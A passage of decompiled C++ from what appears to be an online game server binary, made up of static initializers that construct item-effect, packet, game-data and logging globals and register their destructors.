(00629FB0) -------------------------------------------------------- int __cdecl _E33_2() { MemoryQueue::MemoryQueue((MemoryQueue *)&queue_skillerase); return atexit(_E34_4); } //----- (00629FD0) -------------------------------------------------------- int __cdecl _E3_24() { SkillDataBox::SkillDataBox(&skilldatabox); return atexit(_E4_42); } //----- (00629FF0) -------------------------------------------------------- int __cdecl _E6_7() { PassiveDataBox::PassiveDataBox((PassiveDataBox *)&passivedatabox); return atexit(_E7_18); } //----- (0062A010) -------------------------------------------------------- int __cdecl _E9_5() { BTree::BTree(&skillnametree); return atexit(_E10_15); } //----- (0062A030) -------------------------------------------------------- int __cdecl _E1_23() { SpamerPenaltyDataBox::SpamerPenaltyDataBox(&SpamerPenaltyData); return atexit(_E2_23); } //----- (0062A050) -------------------------------------------------------- int __cdecl _E7_6() { MemoryQueue::MemoryQueue(&queue_sparrowfly); return atexit(_E8_47); } //----- (0062A070) -------------------------------------------------------- int __cdecl _E15_2() { return atexit(_E16_11); } //----- (0062A080) -------------------------------------------------------- int __cdecl _E18_2() { return atexit(_E19_7); } //----- (0062A090) -------------------------------------------------------- int __cdecl _E3_25() { return atexit(_E4_43); } //----- (0062A0A0) -------------------------------------------------------- int __cdecl _E1_24() { UpgradeDataBox::UpgradeDataBox(&upgradedatabox); return atexit(_E2_24); } //----- (0062A0C0) -------------------------------------------------------- int __cdecl _E5_38() { UseEffect::UsedItemEffect::UsedItemEffect(&useditemeffect); return atexit(_E6_78); } //----- (0062A0E0) -------------------------------------------------------- int __cdecl _E8_26() { return atexit(_E9_40); } //----- (0062A0F0) -------------------------------------------------------- int __cdecl _E11_15() { UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead((UseEffect::UseItemJustReviveAtDead *)&ui_JustRevive); return atexit(_E12_36); } //----- (0062A110) -------------------------------------------------------- int __cdecl _E14_10() { UseEffect::UseItemSilverWing::UseItemSilverWing((UseEffect::UseItemSilverWing *)&ui_silverwing); return atexit(_E15_20); } //----- (0062A130) -------------------------------------------------------- int __cdecl _E17_8() { UseEffect::UseItemRecallScroll::UseItemRecallScroll(&ui_recallscroll); return atexit(_E18_20); } //----- (0062A150) -------------------------------------------------------- int __cdecl _E20_6() { UseEffect::UseItemSkillScroll::UseItemSkillScroll(&ui_skillscroll); return atexit(_E21_13); } //----- (0062A170) -------------------------------------------------------- int __cdecl _E23_5() { UseEffect::UseItemChest::UseItemChest((UseEffect::UseItemChest *)&ui_chestopen); return atexit(_E24_13); } //----- (0062A190) -------------------------------------------------------- int __cdecl _E26_4() { UseEffect::UseItemMysteryBolt::UseItemMysteryBolt((UseEffect::UseItemMysteryBolt *)&ui_mysterybolt); return atexit(_E27_11); } //----- (0062A1B0) -------------------------------------------------------- int __cdecl _E29_3() { UseEffect::UseItemByTable::UseItemByTable(&ui_bytable); return atexit(_E30_10); } //----- (0062A1D0) -------------------------------------------------------- int __cdecl _E32_3() { UseEffect::UseItemChargedBuff::UseItemChargedBuff((UseEffect::UseItemChargedBuff *)&ui_chargedbuff); return atexit(_E33_8); } //----- (0062A1F0) -------------------------------------------------------- int __cdecl _E35_3() { UseEffect::UseItemMiniHouse::UseItemMiniHouse((UseEffect::UseItemMiniHouse *)&ui_minihouse); return atexit(_E36_7); } //----- (0062A210) -------------------------------------------------------- int __cdecl _E38_3() { UseEffect::UseItemActionItem::UseItemActionItem(&ui_actionitem); return atexit(_E39_7); } //----- (0062A230) -------------------------------------------------------- int __cdecl _E41_2() { UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture((UseEffect::UseItemMiniHouseFurniture *)&ui_minihousefurniture); return atexit(_E42_5); } //----- (0062A250) -------------------------------------------------------- int __cdecl _E44_2() { UseEffect::UseItemRide::UseItemRide((UseEffect::UseItemRide *)&ui_ride); return atexit(_E45_6); } //----- (0062A270) -------------------------------------------------------- int __cdecl _E47_2() { UseEffect::UseItemHorseFood::UseItemHorseFood((UseEffect::UseItemHorseFood *)&ui_horsefood); return atexit(_E48_6); } //----- (0062A290) -------------------------------------------------------- int __cdecl _E50_2() { UseEffect::UseItemItemPackage::UseItemItemPackage(&ui_itempackage); return atexit(_E51_4); } //----- (0062A2B0) -------------------------------------------------------- int __cdecl _E53_1() { UseEffect::UseItemLicenseClear::UseItemLicenseClear(&ui_LicenceClear); return atexit(_E54_5); } //----- (0062A2D0) -------------------------------------------------------- int __cdecl _E56_1() { UseEffect::UseItemAmountHP::UseItemAmountHP(&ui_amounthp); return atexit(_E57_5); } //----- (0062A2F0) -------------------------------------------------------- int __cdecl _E59_1() { UseEffect::UseItemAmountSP::UseItemAmountSP(&ui_amountsp); return atexit(_E60_5); } //----- (0062A310) -------------------------------------------------------- int __cdecl _E62_1() { UseEffect::UseItemAmountHPSP::UseItemAmountHPSP(&ui_amounthpsp); return atexit(_E63_5); } //----- (0062A330) -------------------------------------------------------- int __cdecl _E65_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearStat, 5, 14); return atexit(_E66_4); } //----- (0062A350) -------------------------------------------------------- int __cdecl _E68_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearEmpow, 6, 15); return atexit(_E69_4); } //----- (0062A370) -------------------------------------------------------- int __cdecl _E71_2() { UseEffect::UseItemRoar::UseItemRoar((UseEffect::UseItemRoar *)&ui_Roar); return atexit(_E72_3); } //----- (0062A390) -------------------------------------------------------- int __cdecl _E74_0() { UseEffect::UseItemSkillErase::UseItemSkillErase((UseEffect::UseItemSkillErase *)&ui_SkillErase); return atexit(_E75_3); } //----- (0062A3B0) -------------------------------------------------------- int __cdecl _E77_1() { UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(&ui_MemoryFeather); return atexit(_E78_2); } //----- (0062A3D0) -------------------------------------------------------- int __cdecl _E80_0() { UseEffect::UseItemWingStone::UseItemWingStone((UseEffect::UseItemWingStone *)&ui_SparrowWingStone); return atexit(_E81_3); } //----- (0062A3F0) -------------------------------------------------------- int __cdecl _E83_0() { UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(&ui_BossMobDetect); return atexit(_E84_3); } //----- (0062A410) -------------------------------------------------------- int __cdecl _E86_0() { UseEffect::UseItemNoEffect::UseItemNoEffect(&ui_NoEffect); return atexit(_E87_2); } //----- (0062A430) -------------------------------------------------------- int __cdecl _E89_0() { UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real((UseEffect::UseItemSkillDummy2Real *)&ui_dummy2real); return atexit(_E90_2); } //----- (0062A450) -------------------------------------------------------- int __cdecl _E92_0() { UseEffect::UseItemPropose::UseItemPropose(&ui_Propose); return atexit(_E93_3); } //----- (0062A470) -------------------------------------------------------- int __cdecl _E95_0() { UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(&ui_ImmediateDivorce); return atexit(_E96_1); } //----- (0062A490) -------------------------------------------------------- int __cdecl _E98_0() { UseEffect::UseItemFire::UseItemFire(&ui_Fire); return atexit(_E99_1); } //----- (0062A4B0) -------------------------------------------------------- int __cdecl _E101_1() { UseEffect::UseItemGuildReName::UseItemGuildReName((UseEffect::UseItemGuildReName *)&ui_GuildReName); return atexit(_E102_2); } //----- (0062A4D0) -------------------------------------------------------- int __cdecl _E104_1() { UseEffect::UseItemGuildReType::UseItemGuildReType((UseEffect::UseItemGuildReType *)&ui_GuildReType); return atexit(_E105_2); } //----- (0062A4F0) -------------------------------------------------------- int __cdecl _E107_0() { UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(&ui_FurnitureEndureKit); return atexit(_E108_2); } //----- (0062A510) -------------------------------------------------------- int __cdecl _E110_0() { UseEffect::UseItemGBCoin::UseItemGBCoin(&ui_GBCoin); return atexit(_E111_1); } //----- (0062A530) -------------------------------------------------------- int __cdecl _E113_0() { UseEffect::UseItemCapsule::UseItemCapsule(&ui_Capsule); return atexit(_E114_1); } //----- (0062A550) -------------------------------------------------------- int __cdecl _E5_39() { WeddingHall::WeddingHall(&weddinghall); return atexit(_E6_80); } //----- (0062A570) -------------------------------------------------------- int __cdecl _E5_40() { ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(&zonringpack_findplayer); return atexit(_E6_81); } //----- (0062A590) -------------------------------------------------------- int __cdecl _E8_27() { ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(&zonringpack_summonplayer); return atexit(_E9_42); } //----- (0062A5B0) -------------------------------------------------------- int __cdecl _E11_16() { ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(&zonringpack_kickplayerout); return atexit(_E12_37); } //----- (0062A5D0) -------------------------------------------------------- int __cdecl _E14_11() { ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(&zonringpack_expbonus); return atexit(_E15_21); } //----- (0062A5F0) -------------------------------------------------------- int __cdecl _E17_9() { ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(&zonringpack_itembonus); return atexit(_E18_21); } //----- (0062A610) -------------------------------------------------------- int __cdecl _E20_7() { ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(&zonringpack_findplayerbynormaluser); return atexit(_E21_14); } //----- (0062A630) -------------------------------------------------------- int __cdecl _E23_6() { ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(&zonringpack_summonpartner); return atexit(_E24_14); } //----- (0062A650) -------------------------------------------------------- int __cdecl _E26_5() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon((ZoneRingPacketFindInstanceDungeon *)&zonringpack_refresh_weddinginfo); return atexit(_E27_12); } //----- (0062A670) -------------------------------------------------------- int __cdecl _E29_4() { ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(&zonringpack_emptyinstancedungeon); return atexit(_E30_11); } //----- (0062A690) -------------------------------------------------------- int __cdecl _E32_4() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(&zonringpack_findinstancedungeon); return atexit(_E33_9); } //----- (0062A6B0) -------------------------------------------------------- int __cdecl _E3_26() { ZoneIPContainer::ZoneIPContainer(&zipc); return atexit(_E4_46); } //----- (0062A6D0) -------------------------------------------------------- int __cdecl _E5_41() { CWeaponTitleZone::CWeaponTitleZone(&gWeaponTitle); return atexit(_E6_82); } //----- (0062A6F0) -------------------------------------------------------- int __cdecl _E8_28() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gCharacterTitleData); return atexit(_E9_43); } //----- (0062A710) -------------------------------------------------------- int __cdecl _E11_17() { CCharacterTitleDataStateServer::CCharacterTitleDataStateServer(&gCharacterTitleDataStateServer); return atexit(_E12_38); } //----- (0062A730) -------------------------------------------------------- int __cdecl _E14_12() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gAnnounceSystem); return atexit(_E15_22); } //----- (0062A750) -------------------------------------------------------- int __cdecl _E17_10() { CQuestData::CQuestData(&gQuestData, 0); return atexit(_E18_22); } //----- (0062A770) -------------------------------------------------------- int __cdecl _E20_8() { CGuildZone::CGuildZone(&gGuild); return atexit(_E21_15); } //----- (0062A790) -------------------------------------------------------- int __cdecl _E23_7() { CDataReader::CDataReader(&gClassName); return atexit(_E24_15); } //----- (0062A7B0) -------------------------------------------------------- int __cdecl _E26_6() { CDataReader::CDataReader(&gItemUpgrade); return atexit(_E27_13); } //----- (0062A7D0) -------------------------------------------------------- int __cdecl _E29_5() { CDataReader::CDataReader(&gItemDismantle); return atexit(_E30_12); } //----- (0062A7F0) -------------------------------------------------------- int __cdecl _E32_5() { CDataReader::CDataReader(&gMiniHouseObjEffect); return atexit(_E33_10); } //----- (0062A810) -------------------------------------------------------- int __cdecl _E35_4() { CDataReader::CDataReader(&gMiniHouseDiceRate); return atexit(_E36_8); } //----- (0062A830) -------------------------------------------------------- int __cdecl _E38_4() { CDataReader::CDataReader(&gMiniHouseDiecGame); return atexit(_E39_8); } //----- (0062A850) -------------------------------------------------------- int __cdecl _E41_3() { CDataReader::CDataReader(&gMiniHouseDiceDividind); return atexit(_E42_6); } //----- (0062A870) -------------------------------------------------------- int __cdecl _E44_3() { MoveManager::MoveManager(&gMiniHouseDiceTaiSai); return atexit(_E45_7); } //----- (0062A890) -------------------------------------------------------- int __cdecl _E47_3() { DiceTaiSaiDividind::DiceTaiSaiDividind(&gMiniHouseDiceTaiSaiDividind); return atexit(_E48_7); } //----- (0062A8B0) -------------------------------------------------------- int __cdecl _E50_3() { CDataReader::CDataReader(&gActionViewInfo); return atexit(_E51_5); } //----- (0062A8D0) -------------------------------------------------------- int __cdecl _E53_2() { CDataReader::CDataReader(&gAuctionCost); return atexit(_E54_6); } //----- (0062A8F0) -------------------------------------------------------- int __cdecl _E56_2() { CDataReader::CDataReader(&gAuctionLimit); return atexit(_E57_6); } //----- (0062A910) -------------------------------------------------------- int __cdecl _E59_2() { CDataReader::CDataReader(&gAuctionPeriod); return atexit(_E60_6); } //----- (0062A930) -------------------------------------------------------- int __cdecl _E62_2() { CDataReader::CDataReader(&gMapLinkPoint); return atexit(_E63_6); } //----- (0062A950) -------------------------------------------------------- int __cdecl _E65_2() { CDataReader::CDataReader(&gMapWayPoint); return atexit(_E66_5); } //----- (0062A970) -------------------------------------------------------- int __cdecl _E68_2() { CDataReader::CDataReader(&gGambleHouse); return atexit(_E69_5); } //----- (0062A990) -------------------------------------------------------- int __cdecl _E71_3() { CDataReader::CDataReader(&gGambleExchangeMaxCoin); return atexit(_E72_4); } //----- (0062A9B0) -------------------------------------------------------- int __cdecl _E74_1() { CDataReader::CDataReader(&gGBJoinGameMember); return atexit(_E75_4); } //----- (0062A9D0) -------------------------------------------------------- int __cdecl _E77_2() { CDataReader::CDataReader(&gGBDiceDividind); return atexit(_E78_3); } //----- (0062A9F0) -------------------------------------------------------- int __cdecl _E80_1() { CDataReader::CDataReader(&gGBDiceGame); return atexit(_E81_4); } //----- (0062AA10) -------------------------------------------------------- int __cdecl _E83_1() { CDataReader::CDataReader(&gGBDiceRate); return atexit(_E84_4); } //----- (0062AA30) -------------------------------------------------------- int __cdecl _E86_1() { MoveManager::MoveManager(&gGBDiceTaiSai); return atexit(_E87_3); } //----- (0062AA50) -------------------------------------------------------- int __cdecl _E89_1() { DiceTaiSaiDividind::DiceTaiSaiDividind(&gGBDiceTaiSaiDividind); return atexit(_E90_3); } //----- (0062AA70) -------------------------------------------------------- int __cdecl _E92_1() { CDataReader::CDataReader(&gNpcSchedule); return atexit(_E93_4); } //----- (0062AA90) -------------------------------------------------------- int __cdecl _E95_1() { CDataReader::CDataReader(&gReactionType); return atexit(_E96_2); } //----- (0062AAB0) -------------------------------------------------------- int __cdecl _E98_1() { CDataReader::CDataReader(&gAdminLvSet); return atexit(_E99_2); } //----- (0062AAD0) -------------------------------------------------------- int __cdecl _E101_2() { CDataReader::CDataReader(&gPVPNoAttack); return atexit(_E102_3); } //----- (0062AAF0) -------------------------------------------------------- int __cdecl _E104_2() { return atexit(_E105_3); } //----- (0062AB00) -------------------------------------------------------- int __cdecl _E107_1() { std::set_std::allocator>::set_std::allocator>((std::set,std::allocator > *)&globalset); return atexit(_E108_3); } //----- (0062AB20) -------------------------------------------------------- int __cdecl _E1_25() { clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_DeltaTick = 0; clockwatch.cw_IsReset = 0; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); return atexit(_E2_25); } //----- (0062AB50) -------------------------------------------------------- int __cdecl _E6_8() { return atexit(_E7_19); } //----- (0062AB60) -------------------------------------------------------- int __cdecl _E9_6() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BalanceLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BalanceLog - "BalanceLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); BalanceLog.dl_FilePointer = 0; EraseOldLogList("BalanceLog"); BalanceLog.dl_Activ = 1; return atexit(_E10_20); } //----- (0062ABB0) -------------------------------------------------------- int __cdecl _E12_5() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobAggroLog"); return atexit(_E13_13); } //----- (0062AC00) -------------------------------------------------------- int __cdecl _E15_3() { return atexit(_E16_12); } //----- (0062AC10) -------------------------------------------------------- int __cdecl _E18_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillLog"); return atexit(_E19_8); } //----- (0062AC60) -------------------------------------------------------- int __cdecl _E21_3() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogging - "KQLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogging.dl_FilePointer = 0; EraseOldLogList("KQLog"); KQLogging.dl_Activ = 1; return atexit(_E22_7); } //----- (0062ACB0) -------------------------------------------------------- int __cdecl _E24_4() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLog"); return atexit(_E25_6); } //----- (0062AD00) -------------------------------------------------------- int __cdecl _E27_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ZoneRingLinkLog"); return atexit(_E28_5); } //----- (0062AD50) -------------------------------------------------------- int __cdecl _E30_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobRegenLog"); return atexit(_E31_4); } //----- (0062ADA0) -------------------------------------------------------- int __cdecl _E33_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LoginLinkLog"); return atexit(_E34_5); } //----- (0062ADF0) -------------------------------------------------------- int __cdecl _E36_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ServiceLog"); return atexit(_E37_4); } //----- (0062AE40) -------------------------------------------------------- int __cdecl _E39_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog"); return atexit(_E40_3); } //----- (0062AE90) -------------------------------------------------------- int __cdecl _E42_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog2"); return atexit(_E43_3); } //----- (0062AEE0) -------------------------------------------------------- int __cdecl _E45_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMSPacketLog"); return atexit(_E46_2); } //----- (0062AF30) -------------------------------------------------------- int __cdecl _E48_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LinkLog"); return atexit(_E49_3); } //----- (0062AF80) -------------------------------------------------------- int __cdecl _E51_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("Abstate2WMS"); return atexit(_E52_2); } //----- (0062AFD0) -------------------------------------------------------- int __cdecl _E54_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GoldHillLog"); return atexit(_E55_2); } //----- (0062B020) -------------------------------------------------------- int __cdecl _E57_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MapRelink"); return atexit(_E58_2); } //----- (0062B070) -------------------------------------------------------- int __cdecl _E60_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PassiveLog"); return atexit(_E61_2); } //----- (0062B0C0) -------------------------------------------------------- int __cdecl _E63_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("FuncInitLog"); return atexit(_E64_1); } //----- (0062B110) -------------------------------------------------------- int __cdecl _E66_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ChargedItemLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ChargedItemLog - "ChargedItemLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ChargedItemLog.dl_FilePointer = 0; EraseOldLogList("ChargedItemLog"); ChargedItemLog.dl_Activ = 1; return atexit(_E67_1); } //----- (0062B160) -------------------------------------------------------- int __cdecl _E69_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("TreasureBoxLog"); return atexit(_E70_1); } //----- (0062B1B0) -------------------------------------------------------- int __cdecl _E72_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PineScript"); return atexit(_E73_1); } //----- (0062B200) -------------------------------------------------------- int __cdecl _E75_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog"); return atexit(_E76_0); } //----- (0062B250) -------------------------------------------------------- int __cdecl _E78_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog2"); return atexit(_E79_1); } //----- (0062B2A0) -------------------------------------------------------- int __cdecl _E81_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog3"); return atexit(_E82_0); } //----- (0062B2F0) -------------------------------------------------------- int __cdecl _E84_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("CharClassBugLog"); return atexit(_E85_1); } //----- (0062B340) -------------------------------------------------------- int __cdecl _E87_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ChargedItemVanishLog"); return atexit(_E88_0); } //----- (0062B390) -------------------------------------------------------- int __cdecl _E90_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HorseLog"); return atexit(_E91_1); } //----- (0062B3E0) -------------------------------------------------------- int __cdecl _E93_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPLog"); return atexit(_E94_1); } //----- (0062B430) -------------------------------------------------------- int __cdecl _E96() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackFailLog"); return atexit(_E97_0); } //----- (0062B480) -------------------------------------------------------- int __cdecl _E99() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ScriptChase"); return atexit(_E100_0); } //----- (0062B4D0) -------------------------------------------------------- int __cdecl _E102() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillCastNotFinish"); return atexit(_E103); } //----- (0062B520) -------------------------------------------------------- int __cdecl _E105() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("OpToolSockLog"); return atexit(_E106); } //----- (0062B570) -------------------------------------------------------- int __cdecl _E108() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyErrorLog"); return atexit(_E109); } //----- (0062B5C0) -------------------------------------------------------- int __cdecl _E111() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQRewardLog"); return atexit(_E112); } //----- (0062B610) -------------------------------------------------------- int __cdecl _E114() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DeadCheckLog"); return atexit(_E115); } //----- (0062B660) -------------------------------------------------------- int __cdecl _E117() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DropItemLog"); return atexit(_E118); } //----- (0062B6B0) -------------------------------------------------------- int __cdecl _E120() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("BriefChangeInBoothLog"); return atexit(_E121); } //----- (0062B700) -------------------------------------------------------- int __cdecl _E123() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AbStatKeepTimeLog"); return atexit(_E124); } //----- (0062B750) -------------------------------------------------------- int __cdecl _E126() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQEntryLog"); return atexit(_E127); } //----- (0062B7A0) -------------------------------------------------------- int __cdecl _E129() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQTournamentLog"); return atexit(_E130); } //----- (0062B7F0) -------------------------------------------------------- int __cdecl _E132() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PlayerRegNumLog"); return atexit(_E133); } //----- (0062B840) -------------------------------------------------------- int __cdecl _E135() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPCharge"); return atexit(_E136); } //----- (0062B890) -------------------------------------------------------- int __cdecl _E138() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLogoutLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogoutLog - "KQLogoutLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogoutLog.dl_FilePointer = 0; EraseOldLogList("KQLogoutLog"); KQLogoutLog.dl_Activ = 1; return atexit(_E139); } //----- (0062B8E0) -------------------------------------------------------- int __cdecl _E141() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackImmortal"); return atexit(_E142); } //----- (0062B930) -------------------------------------------------------- int __cdecl _E144() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoreDisconnectLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoreDisconnectLog - "MoreDisconnectLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoreDisconnectLog.dl_FilePointer = 0; EraseOldLogList("MoreDisconnectLog"); MoreDisconnectLog.dl_Activ = 1; return atexit(_E145); } //----- (0062B980) -------------------------------------------------------- int __cdecl _E147() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyInformLog"); return atexit(_E148); } //----- (0062B9D0) -------------------------------------------------------- int __cdecl _E150() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMHRepairLog"); return atexit(_E151); } //----- (0062BA20) -------------------------------------------------------- int __cdecl _E153() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InnerMiniHouseLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InnerMiniHouseLog - "InnerMiniHouseLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); InnerMiniHouseLog.dl_FilePointer = 0; EraseOldLogList("InnerMiniHouseLog"); InnerMiniHouseLog.dl_Activ = 1; return atexit(_E154); } //----- (0062BA70) -------------------------------------------------------- int __cdecl _E156() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemRelocLog"); return atexit(_E157); } //----- (0062BAC0) -------------------------------------------------------- int __cdecl _E159() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobItemDropLog"); return atexit(_E160); } //----- (0062BB10) -------------------------------------------------------- int __cdecl _E162() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildWarRefreshLog"); return atexit(_E163_0); } //----- (0062BB60) -------------------------------------------------------- int __cdecl _E165_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLengthOverLog"); return atexit(_E166); } //----- (0062BBB0) -------------------------------------------------------- int __cdecl _E168() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SocketMultiplicateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SocketMultiplicateLog - "SocketMultiplicateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SocketMultiplicateLog.dl_FilePointer = 0; EraseOldLogList("SocketMultiplicateLog"); SocketMultiplicateLog.dl_Activ = 1; return atexit(_E169_0); } //----- (0062BC00) -------------------------------------------------------- int __cdecl _E171_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); 